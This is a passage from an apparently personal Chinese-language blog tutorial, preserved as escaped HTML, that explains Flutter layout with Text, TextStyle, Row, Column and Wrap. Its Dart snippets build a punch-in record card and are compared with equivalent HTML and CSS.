data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Maggie Rules!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e效果大致说,跟HTML的这个一样。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003eMaggie Rules!\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eText 的属性有很多,比如说大小,斜体之类。有一个类叫 TextStyle,来给Text加属性,比如字体,阴影,颜色之类。那么,我可以这么写一个绿色的字。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;50 sucks\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nl\"\u003esize:\u003c/span\u003e\u003cspan class=\"m\"\u003e14\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nl\"\u003estyle:\u003c/span\u003e\u003cspan class=\"n\"\u003eTextStyle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eColors\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egreen\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e效果大致说,跟HTML的这个一样。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;color: green\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e 50 sucks \u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e我感觉通过这个,你们知道这玩意和 HTML+CSS 的对应了吧,也许。\u003c/p\u003e\n\u003ch3 id=\"rowcolumnwarp\"\u003eRow,Column,Warp\u003c/h3\u003e\n\u003cp\u003e你们可以看到,我在这些卡片上画了几条线。这是为了说明我们设计该卡片的基本架构,行和列。Flutter 的部件构造,就是在 Row 和 Column 之上的。\u003c/p\u003e\n\u003cp\u003eRow 和 Column 的写法差不多,都是这样的,更多属性一会再说:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eColumn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eRow 代表行,Column 代表列。我们这个卡片是有三行的,每行是有对应元素的。通过这个,我们可以写出这个东西的框架了。\u003c/p\u003e\n\u003cp\u003e我们先实现每一行,第一行是在两侧的两个元素,注意到中间很大间隔了吗?这个是 Row 的一个属性,AxisAlignment。\u003c/p\u003e\n\u003cp\u003eAxisAlignment 是指这个部件两个轴上部件的排列方式,分为主轴 MainAxisAlignment 和交叉轴 CrossAxisAlignment。这张图片显示出这两个部件的主轴和交叉轴。我们通过修改这个,来规划好在该列/行上元素的排列方式。对于第一行,我们是这样写的:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003emainAxisAlignment:\u003c/span\u003e \u003cspan class=\"n\"\u003eMainAxisAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e//第一个Text\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e//第二个Text\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e剩下两行我这里就不赘述了,他们的排列方式都是靠左,也就是默认值。大致的代码如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eColumn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003emainAxisAlignment:\u003c/span\u003e \u003cspan class=\"n\"\u003eMainAxisAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;第1次\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;打卡成功\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epumch_clock\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;2022-12-12 11:11:11\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;打卡成功\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e以上部分是最基本设计Flutter布局的样例了。实际使用中,这样写的方式很死板,遇到一些动态变化的组件,比如说很多行的文字,Column高度侦测问题等等,会花费大量的时间设置这些东西的样式。所以,在实际PDA的编写中,我是使用了Warp来让其自动排列这些组件,你只是需要输入这些部件就好了。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eWrap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ealignment:\u003c/span\u003e \u003cspan class=\"n\"\u003eWrapAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003espaceBetween\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTagsBoxes\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etext:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;第 \u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003emark\u003c/span\u003e\u003cspan class=\"s2\"\u003e 条\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebackgroundColor:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003eprimaryColor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esituation\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eDivider\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eColors\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etransparent\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eheight:\u003c/span\u003e \u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003einformationWithIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epunch_clock\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epunchDay\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e-\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epunchTime\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003einformationWithIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eplace\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emachineName\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003econtains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;成功\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003einformationWithIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eerror_outline\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003econtains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;锻炼间隔需30分钟以上\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ereplaceAll\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;锻炼间隔需30分钟以上\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e其中 InformationWithIcon 是这样的:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003einformationWithIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIconData\u003c/span\u003e \u003cspan class=\"n\"\u003eicon\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eicon\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003esize:\u003c/span\u003e \u003cspan class=\"m\"\u003e14\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ecolorScheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etertiary\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eSizedBox\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ewidth:\u003c/span\u003e \u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eExpanded\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 